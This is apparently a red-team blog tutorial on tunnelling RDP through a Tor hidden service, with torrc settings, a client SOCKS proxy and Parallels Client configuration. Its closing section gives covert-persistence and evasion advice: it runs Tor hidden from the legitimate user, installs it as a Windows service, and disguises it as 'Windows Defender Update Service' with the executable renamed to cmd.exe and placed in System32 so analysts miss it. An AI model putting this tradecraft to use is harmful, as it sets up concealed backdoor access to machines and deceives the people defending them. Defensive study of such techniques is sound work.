In order to set this up, you first need to download and install Tor Browser (www.torproject.org) on your system. Once you do that, make sure that you run it at least once so the configuration files for Tor get created for the first time. I have set my Tor installation path to be on the Desktop folder for my user account: “C:\Users\Administrator\Desktop\Tor Browser”. For the sake of this demo/exercise, I will be referencing “%TorInstallPath%” as the directory where you have installed Tor.

Once you have executed Tor, close the browser and open up the following file in any text editor: “%TorInstallPath%\Tor Browser\Browser\TorBrowser\Data\ Tor\torrc”. You should see something similar to the contents in the figure below:

The “torrc” file is a configuration file that contains instructions and settings that tell your Tor browser how it should operate. For a full list of the commands that you can add to your “torrc” configuration file, you can refer to Tor Project’s manual page (www.torproject.org/docs/tor-manual.html.en). For our exercise we will create a hidden service that runs in the background without having a Tor window open. To do that we will need to modify the “torrc” configuration file and add two lines to it.

The first line that we will be including is “HiddenServiceDir”. This is a directory for the Tor browser to store files related to the hidden service that we will be creating. I have created the directory “%TorInstallPath%\Tor Browser\ hiddenService” just to keep it simple. The first line that we need to add looks something like this:

HiddenServiceDir C:\Users\Administrator\Desktop\Tor Browser\hiddenService

By creating this directory, Tor will create a “hostname” and a “private_key” file. These files are pretty self explanatory, but for this demo, we will be focusing on the “hostname” file as it will contain the “onion” address that we will need to use to later connect to our host.

The second line that we will need to add to the “torrc” configuration file is “HiddenServicePort”. This tells the Tor hidden service to redirect any traffic that comes from a specific local port, to a different port that you have set it for. For this exercise, we will be using port 80 to tunnel RDP traffic (port 3389) from our server. This is what the second line that we need to add looks like:

HiddenServicePort 80 127.0.0.1:3389

Now that we have added these two lines, the “torrc” configuration file should look something like the following figure below:

After saving the “torrc” configuration file, open up a Tor Browser. Once a Tor connection has been established, leave the Tor Browser open and go to the hidden service directory that we added to our Tor configuration file. As mentioned before, you will see two files being created. The “hostname” file is what is important for this demo, as this is the onion address that we need to connect to the server (save this address for later use). Refer to the figure below for a sample excerpt of what to expect in the “hostname” file.

Now that we have configured the server, we simply need to configure the client to be able to connect to the server via RDP over Tor. For now, let’s leave the server with the open Tor Browser on the side so that we can focus on setting up the client. To configure the client system, simply install Tor Browser and modify the “torrc” configuration file on the client to include a configuration for a SOCKS port. The SOCKS port will allow our RDP client to proxy and connect to the server via RDP using an onion address. To make that modification on the Tor configuration file, we added the following line to it:

SocksPort 127.0.0.1:9050

After making that change to the configuration file, open up a Tor browser on the client and leave it open. By keeping the Tor Browser available, the SOCKS port that you have created will remain open. Now, onto the fun part: In this demo, we are using Parallels Remote Application Server (Parallels Client) as our RDP client. This application allows us to “customize” our RDP connection by including a proxy setting, thus making it much easier for us to establish a connection to our server over Tor. However, before we can connect to our server we need to make some modifications to our RDP connection on our Parallels Client.

Once you have the Parallels application installed, create a new connection and select the “Standard RDP” option. When a new window pops up, click on “Advanced Settings >” and from there you can customize the settings  you want. As mentioned earlier, we need to establish a proxy that uses our Tor service so that we can communicate to our server using its onion address. To configure this, we have to change the settings on the “Network” and “Connection” tab within the advanced settings view. On the “Connection” tab, we included the onion address and the port number (Port 80) that we assigned on the server using the “HiddenServicePort” setting. On the “Network” tab, we rerouted our traffic to our local host on the SOCKS port (Port 9050) that we have assigned for it. The following figure depicts the changes made to the settings on Parallels Client as a reference.

As shown in the figure above, this will allow us to establish a connection. The figure below shows what that connection should look like using Parallels Client.

Taking It Further

Now that we have successfully established an RDP connection over Tor, there are a lot of things that we can do to make our “presence” less obvious. For example, if a legitimate user spots an open Tor browser on their session, they will most likely be inclined to close it. To avoid that, you can run Tor via the Command Prompt in Windows. Additionally, you can specify the “torrc” configuration file via command-line arguments to the TOR executable in case you have multiple configuration files or are explicitly testing your configuration, without unintentionally loading default configurations. However, if you don’t specify the configuration file, it will ultimately take the one that is within the installation directory. You can run the following command in Windows to run Tor in the background using a specific configuration file:

tor.exe -f “%TorInstallPath%\Tor Browser\Browser\TorBrowser\Data\Tor\torrc”

Note that in the command highlighted above, make sure that you specify the Tor installation path instead of “%TorInstallPath%”. For our demo in this blog, we would have used “C:\Users\Administrator\Desktop\” if we were to run the command via a Command Prompt in Windows.

Another way to take this to the next level would be by creating a service. You can either use Windows to create a service or a third-party application. I personally would use “Non-Sucking Service Manager” (NSSM) (www.nssm.cc) to do this. There are some drawbacks for using NSSM or other third-party applications for creating a service, including having more of your tools on the remote system. A threat actor would generally try to live off the land as much as possible to reduce their visible footprint on disk and forensic artifacts generated by their actions. However, should you choose to install Tor as a service using Windows, you can run the following command in a Command Prompt session on a Windows system:

tor.exe –service install

If you’re like me, and would rather use NSSM to create a service, you can run the following command, which will spin up the NSSM’s graphical user interface (GUI):

nssm.exe install <servicename>

Note that for service name, you can put in the name of the service that you would like. However, you can still change it when the GUI spins up. Once it does, you will be able to customize the service by indicating the application path and the arguments that you would like to include for whenever the service runs. In terms of what you will include, you can refer to the first command that we mentioned in this section, where you specify the “torrc” configuration file upon the execution of Tor via Command Prompt in Windows. The following figure provides a screenshot of the NSSM GUI, which has the sections filled out for our demo.

As you can see in the figure above, we simply specify the “Path” (it will automatically fill out the “Startup directory” field), the “Arguments”, and the “Service name” fields and we can create a service on Windows.

As you can see, from a security analyst’s perspective, if they spot this service being created, the first thing that stands out is Tor; here are a couple of additional things that you can do to make it less obvious:

• Change the service name to something less conspicuous such as “Windows Backup”, “Firefox Update”, or even “Windows Defender Update Service”.
• Change the directory or the path for where the “torrc” configuration file and the Tor executable are located, to a directory that may seem far more legitimate, such as “C:\Windows”, “C:\Windows\System32”, “C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer”, etc.
• Change the name of the executable and the configuration file. Instead of using “tor.exe” or “torrc”, you can change it to something such as “cmd.exe”, “config”, or “update.exe”.
• If you would like to create a far more sophisticated service with NSSM, you can modify items in the “Details” tab, which include “Display Name”, “Description”, and “Startup type”. By modifying these fields, it will make your service appear far more legitimate.

There are many ways that you can take this to the next level, and these are some things that can help you get started. From a naming convention standpoint, if you are stuck thinking about different service, file or folder names, take a look at the system and look for tools and utilities that are used. Try to rename your Tor service and/or tool names with things that you see on the system. This will help you stay unnoticed.